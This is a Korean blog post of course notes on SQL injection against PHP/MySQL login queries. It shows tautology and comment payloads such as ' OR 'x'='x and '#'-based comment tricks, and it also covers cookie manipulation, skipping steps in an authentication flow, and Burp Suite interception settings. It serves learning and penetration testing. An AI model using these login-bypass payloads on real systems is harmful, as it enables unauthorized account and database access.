5주차 SQL INJECTION 쿠키조작 인증우회
SQL INJECTION
- SQL에게 말하는 언어를 삽입해서 원하는 값을 얻기!
- SQL 질의문이 사용가능한 취약점이다
- 웹 페이지 와스에게 코드를 삽입 할 수 있는 입력창에 SQL구문을 삽입해서 디비데이터를 추출한다
- PHP코드로 입력한다.
SQL INJECTION 모의해킹시 주의할점
- DATABASE 건드는 작업은 DATABASE가 날라가지 않도록 조심
- 특히 INSERT/DELETE/UPDATE
- OR 이나 주석을 남용하면 안된다
- 데이터를 변조하면 안된다.
식별 인증 분리에서의 SQL INJECTION
EX)
select * from 테이블 where id='입력값'
-> select * from 테이블 where id='입력값' //우리가 바꿀수 있는 입력값에 SQL코드를 넣는거다
select * from 테이블 where id='입력값' '
-> id = 입력값' -> select * from 테이블 where id='입력값' ' -> 따옴표가 두개 들어가 문법 에러가 뜬다
select * from 테이블 where id='입력값'# '
-> id = 입력값'# -> select * from 테이블 where id='입력값'# ' -> 마지막 따옴표가 주석처리되어서 정상 입력 처리된다.
아이디값에 해당하는 입력값 출력
- 아이디값 AND true값
EX)
select * from 테이블 member id=' 아이디값' AND 'x'='x '
-> id = 아이디값' AND 'x'='x -> select * from member where id=' 아이디값' AND 'x'='x '
아이디값 true, x=x는 true -> where true and true -> where true -> 아이디값에 해당되는 DB row를 가져올 수 있다.
전체 데이터 출력
- 아무값 OR ture값
EX)
select * from member where id='아무값 OR 'x'='x '
-> id = 아무값' OR 'x'='x -> select * from member where id='아무값 OR 'x'='x '
아무값 false, x=x는 true -> where false or true -> wher true -> DB table 전체를 가져올수 있다
식별 인증 동시에서의 SQL INJECTION
EX)
select * from member where id='아이디값' and pass='비번값'
-> select * from member where id='아이디값' and pass='비번값' //우리가 바꿀수 있는 입력값에 SQL코드를 넣는거다
주석을 쓸 수 있을때
select * from member where id='아이디값' # ' and pass='비번값'
-> id = 아이디값' #
-> select * from member where id='아이디값' # ' and pass='비번값' -> 로 and pass값을 주석처리해서 날려버린다.
select * from member where id='아이디값' /* ' and pass=' */ */ OR pass='아무값' or 'x'='x '
-> id = 아이디값' /* pass= */ OR pass='아무값' or 'x'='x
-> select * from member where id='아이디값' /* ' and pass=' */ */ OR pass='아무값' or 'x'='x '
-> and값을 주석처리해서 날림
-> 근데 이건 sql구문을 정확이 알때만 가능 비밀번호의 변수저장값이 pass인지 password인지 Password인지 모르잖
주석을 쓸 수 없을 때
select * from member where id='아이디값 ' and pass = ' 아무값' or 'x'='x '
-> id = 아이디값 pass = 아무값' or 'x'='x
-> select * from member where id='아이디값 ' and pass = ' 아무값' or 'x'='x '
-> 아이디값 true, 아무값 false, x=x true -> where (true and true) or false -> where true or false -> where true
-> 아이디값에 해당 DB 캐치
주의! 안됩니다 이건
select * from member where id='아이디값 ' or 'x'=x ' and pass = ' 아무값 '
-> id = 아이디값' or 'x'='x pass = 아무값
-> select * from 테이블 where id='아이디값 ' or 'x'=x ' and pass = ' 아무값 '
-> 아이디값 true, x=x true, 아무값 false -> where true or (true and false) -> where true or false -> where true
-> true지만 비번값이 table 전부가 떠버리고 첫번째 데이터만 들어가므로 로그인 안됨
select * from member where id=' ' or 'x'=x ' and pass = ' 비번값'
-> id = ' or '1'='1 pass = 비번값
-> select * from member where id=' ' or 'x'=x ' and pass = ' 비번값'
-> 아이디값 false, x=x true, 비번값 true -> where true or (false and true) -> where true or false -> where true
-> true 지만 id값이 없는 정보는 없으므로 로그인이 안됨
논리연산자
- +, -, *, / , and, or
- and or있으면 and부터 계산한다
- 논리연산자의 데이터는 boolean 데이터가 반환된다
- boolean 데이터 -> true/false , 1/0 값 밖에 없다.
TRUE값
-x값은 다른 어떤게 들어가도 상관없다 그냥 서로 같아서 true값을 반환하는게 목적이다.
아무값' OR '1'='1 / 아무값' OR 'true'='true' / kjkjdljljlkj' OR 'eee'='eee / 1' or1=true# / normaltic' or true # 다가능
AND
1,1=1 true
1,0=0 false
0,1=0 false
0,0=0 false
OR
1,1=1 true
1,0=1 true
0,1=1 true
0,0=0 false
를 이용한다.
MYSQL 주석
- 한줄 주석
-> --
-> #
- 여러줄 주석
-> /* */
쿠키조작
- 원래 가지고있는 아이디와 비번이 있으니까
- 그걸 로그인해서 프록시로 캐치해서 쿠키를 조작해서 로그인
EX)
-> location
-> set-cookie 서버에서 클라이언트에게 말한다 너 이거 갖구와야 관련파일 줄거야
-> 맞는 비밀번호 쳤을때 302뜨고 쿠키설정 login User
인증우회(Bypass)
- 따옴표썼는데 length가 유지된다는건 인젝션 어렵다는
- 또한 인증우회 디비의 정보를 보려면 인증을 해야하는데 인증을 우회해서 디비를 볼수있게한다
- 대응 방법 인증성공시 토큰을 발행해서 세션에 인증성공정보를 저장한다.
EX)
->회원가입
-> 약관동의 -> 폰인증 -> 로그인 -> 사이트 접속
-> 약관동의 -> 사이트 접속 으로 건너뛰어버리는 것이다
Burf Suite 설정
- http를 쓰려고해서 생기는 오류
-> Proxy
-> Proxy settings
-> All -> Tools -> Proxy
-> Response midification rules -> Convert HTTPS links to HTTP 체크박스 체크
-> Proxy
-> Intercept -> Request ~~~ 우측클릭
-> Use HTTPS 체크박스 해제 -> OK
-response수정하기
-> Proxy
-> Proxy settings
-> All -> Tools -> Proxy
-> Response intercept rules -> Add
-> Boolean operater : And
-> Match type : HTTP method
-> Match relationship : Matches
-> Match condition : (get|post) -> get으로 변경
-> Enabled 체크박스 체크
-> Proxy
-> Intercept
-> Raw -> 오른쪽 클릭
-> Do intercept -> Response to this request -> Forward 누르면 response나온다
- 리피터의 달라진 부분 보기
-> Repeater
-> Request / Response 좌측 하단 톱니바퀴버튼 클릭
-> Auto-scroll to match when text changes 체크박스 체크
'개념정리' 카테고리의 다른 글
7주차 ERROR BASED SQL / BLIND SQL INJECTION / EXTRACTVALU / CONCAT / SUBSTR/ ASCII CODE (1) | 2023.12.11 |
---|---|
6주차 UNION SQL INJECTION/ORDER BY/LIMIT/LIKE (1) | 2023.11.30 |
4주차 Burp Suite REQUEST/RESPONSE 게시판 (1) | 2023.11.21 |
3주차 로그인 로직 식별/인증 HASH COOKIE/SESSION (2) | 2023.11.20 |
2주차 DB PHP로 생성 / 출력 / 입력 / SQL / Docker (0) | 2023.11.09 |